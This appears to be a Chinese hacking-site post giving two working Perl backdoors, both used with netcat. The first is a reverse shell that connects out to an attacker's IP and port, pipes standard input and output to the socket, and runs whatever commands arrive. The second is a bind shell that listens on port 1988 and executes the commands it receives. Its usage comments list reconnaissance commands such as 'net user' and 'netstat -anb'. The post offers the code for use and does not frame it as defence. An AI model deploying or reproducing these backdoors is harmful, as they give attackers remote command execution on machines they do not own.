by 小杰 都是使用nc监听
#!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use Socket; use IO::Socket; use Cwd; use IO::Handle; my $remote = $ARGV[0] || "127.0.0.1"; my $remote_port = $ARGV[1] || 1988; my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); $ARGC = @ARGV; if ( $ARGV[0] !~ /-/ ) { socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) or die "socket error: "; STDOUT->autoflush(1); SOCKET->autoflush(1); $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCKET"; open STDOUT, ">&SOCKET"; open STDERR, ">&SOCKET"; print "You are in $path\n"; print "Welcome to use.\n"; print "console>\n"; while (<STDIN>) { chomp; if ( lc($_) eq 'exit' ) { print " Bye Bye!"; exit; } $msg = system($_); if ($msg) { print STDOUT "\n$msg\n"; print STDOUT "console>"; } else { print "console>"; } } close SOCKET; exit; }
正向连接代码:
#!/usr/bin/perl
#ActivePerl 5.8.8 Build 822
#usage:
#first:perl backdoor2c.pl
#second:nc -vv 127.0.0.1 1988
#net user
#ipconfig /all
#netstat -anb
use IO::Socket;
$port = "1988";
my $socket = new IO::Socket::INET(
'Localhost' => '127.0.0.1',
'LocalPort' => $port,
'Listen' => 1,
'Proto' => 'tcp',
'Reuse' => 1
);
die "Reason: $!" unless $socket;
while ( my $new_socket = $socket->accept() ) {
while ( my $buffer = <$new_socket> ) {
if ( $buffer =~ /exit/ ) { exit; }
$res_msg = `$buffer`;
print $new_socket "$res_msg\ncmd>";
}
}
这篇文章就结束到这了,希望能帮助到有需要的朋友。
声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

评论(0)